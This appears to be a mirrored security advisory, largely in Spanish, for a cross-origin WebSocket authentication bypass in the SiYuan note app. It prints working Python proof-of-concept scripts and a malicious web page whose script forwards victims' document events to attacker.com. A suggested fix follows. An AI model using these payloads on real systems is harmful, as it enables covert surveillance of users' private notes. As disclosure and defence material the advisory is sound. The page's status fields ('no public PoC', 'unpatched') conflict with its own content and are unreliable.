GHSA-XP2M-98X8-RPJ6
SiYuan Vulnerable to Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-XP2M-98X8-RPJ6 divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice |
Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure
Summary
SiYuan's WebSocket endpoint (`/ws`) allows unauthenticated connections when specific URL parameters are provided (`?app=siyuan&id=auth&type=auth`). This bypass, intended for the login page to keep the kernel alive, allows any external client — including malicious websites via cross-origin WebSocket — to connect and receive all server push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users.
Combined with the absence of `Origin` header validation, a malicious website can silently connect to a victim's local SiYuan instance and monitor their note-taking activity.
Affected Component
- File: `kernel/server/serve.go:728-731`
- Function: `serveWebSocket()` → `HandleConnect` handler
- Endpoint: `GET /ws?app=siyuan&id=auth&type=auth` (unauthenticated)
- Version: SiYuan <= 3.5.9
Root Cause
The WebSocket `HandleConnect` handler has a special case bypass (line 730) intended for the authorization page:
util.WebSocketServer.HandleConnect(func(s *melody.Session) {
authOk := true
if "" != model.Conf.AccessAuthCode {
// ... normal session/JWT authentication checks ...
// authOk = false if no valid session
}
if !authOk {
// Bypass: allow connection for auth page keepalive
// 用于授权页保持连接,避免非常驻内存内核自动退出
authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") &&
strings.Contains(s.Request.RequestURI, "&id=auth&type=auth")
}
if !authOk {
s.CloseWithMsg([]byte(" unauthenticated"))
return
}
util.AddPushChan(s) // Session added to broadcast list
})Three issues combine:
- Authentication bypass via URL parameters: Any client connecting with `?app=siyuan&id=auth&type=auth` bypasses all authentication checks.
- Full broadcast membership: The bypassed session is added to the broadcast list via `util.AddPushChan(s)`, receiving ALL `PushModeBroadcast` events — the same events sent to authenticated clients.
- No Origin validation: The WebSocket endpoint does not check the `Origin` header, allowing cross-origin connections from any website.
Proof of Concept
Tested and confirmed on SiYuan v3.5.9 (Docker) with `accessAuthCode` configured.
1. Direct unauthenticated connection
import asyncio, json, websockets
async def spy():
# Connect WITHOUT any authentication cookie
uri = "ws://TARGET:6806/ws?app=siyuan&id=auth&type=auth"
async with websockets.connect(uri) as ws:
print("Connected without authentication!")
while True:
msg = await ws.recv()
data = json.loads(msg)
cmd = data.get("cmd")
d = data.get("data", {})
if cmd == "rename":
print(f"[LEAKED] Document renamed: {d.get('title')}")
elif cmd == "create":
print(f"[LEAKED] Document created: {d.get('path')}")
elif cmd == "renamenotebook":
print(f"[LEAKED] Notebook renamed: {d.get('name')}")
elif cmd == "removeDoc":
print(f"[LEAKED] Document deleted")
elif cmd == "transactions":
for tx in d if isinstance(d, list) else []:
for op in tx.get("doOperations", []):
if op.get("action") == "updateAttrs":
new = op.get("data", {}).get("new", {})
print(f"[LEAKED] Doc attrs: title={new.get('title')}")
asyncio.run(spy())2. Cross-origin attack from malicious website
<!-- Hosted on https://attacker.com/spy.html -->
<script>
// Victim has SiYuan running on localhost:6806
const ws = new WebSocket("ws://localhost:6806/ws?app=siyuan&id=spy&type=auth");
ws.onopen = () => console.log("Connected to victim's SiYuan!");
ws.onmessage = (event) => {
const data = JSON.parse(event.data);
// Exfiltrate document operations to attacker
fetch("https://attacker.com/collect", {
method: "POST",
body: JSON.stringify({
cmd: data.cmd,
data: data.data,
timestamp: Date.now()
})
});
};
</script>3. Confirmed leaked events
The following events are received by the unauthenticated WebSocket:
| Event | Leaked Data |
|-------|-------------|
| `savedoc` | Document root ID, operation data |
| `transactions` | Document title, ID, attrs (new/old) |
| `create` | Document path, notebook info (name, ID) |
| `rename` | New document title, path, notebook ID |
| `renamenotebook` | New notebook name, notebook ID |
| `removeDoc` | Document deletion event |
4. Cross-origin connection confirmed
import websockets, asyncio
async def test():
uri = "ws://localhost:6806/ws?app=siyuan&id=attacker&type=auth"
extra_headers = {"Origin": "https://evil.attacker.com"}
async with websockets.connect(uri, additional_headers=extra_headers) as ws:
print("Cross-origin connection accepted!") # SUCCEEDS
asyncio.run(test())Result: Connection succeeds — no Origin validation.
Attack Scenario
- Victim runs SiYuan desktop (Electron, listens on `localhost:6806`) or Docker instance
- Victim has `accessAuthCode` configured (server is password-protected)
- Victim visits `attacker.com` in any browser
- Attacker's JavaScript connects to `ws://localhost:6806/ws?app=siyuan&id=spy&type=auth`
- WebSocket connection bypasses authentication
- Attacker silently monitors ALL document operations in real-time:
- Document titles ("Q4 Financial Results", "Employee Reviews", "Patent Draft")
- Notebook names ("Personal", "Work - Confidential")
- File paths and document IDs
- Create/rename/delete operations
- Attacker builds a profile of the victim's note-taking activity without any visible indication
Impact
- Severity: HIGH (CVSS ~7.5)
- Type: CWE-287 (Improper Authentication), CWE-200 (Exposure of Sensitive Information), CWE-1385 (Missing Origin Validation in WebSockets)
- Authentication bypass on WebSocket endpoint when `accessAuthCode` is configured
- Cross-origin WebSocket hijacking — any website can connect to local SiYuan instance
- Real-time information disclosure of document metadata (titles, paths, operations)
- No user interaction required beyond visiting a malicious website
- Affects both Electron desktop and Docker/server deployments
- Silent — no visible indication to the user
Suggested Fix
1. Remove the URL parameter authentication bypass
// Remove or restrict the auth page bypass
// Before (vulnerable):
authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") &&
strings.Contains(s.Request.RequestURI, "&id=auth&type=auth")
// After: Use a separate, restricted endpoint for auth page keepalive
// that does NOT receive broadcast events2. Add Origin header validation
util.WebSocketServer.HandleConnect(func(s *melody.Session) {
// Validate Origin header
origin := s.Request.Header.Get("Origin")
if origin != "" {
allowed := false
for _, o := range []string{"http://localhost", "http://127.0.0.1", "app://"} {
if strings.HasPrefix(origin, o) {
allowed = true
break
}
}
if !allowed {
s.CloseWithMsg([]byte("origin not allowed"))
return
}
}
// ... rest of auth logic
})3. Separate keepalive from broadcast
If the auth page needs a WebSocket for keepalive, create a separate endpoint (`/ws-keepalive`) that only handles ping/pong without receiving broadcast events. Do not add keepalive sessions to the broadcast push channel.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/siyuan-note/siyuan/kernel |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://nvd.nist.gov/vuln/detail/CVE-2026-32815https://github.com/siyuan-note/siyuan/security/advisories/GHSA-xp2m-98x8-rpj6https://github.com/siyuan-note/siyuan/commit/1e370e37359778c0932673e825182ff555b504a3https://github.com/siyuan-note/siyuanhttps://github.com/siyuan-note/siyuan/releases/tag/v3.6.1Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
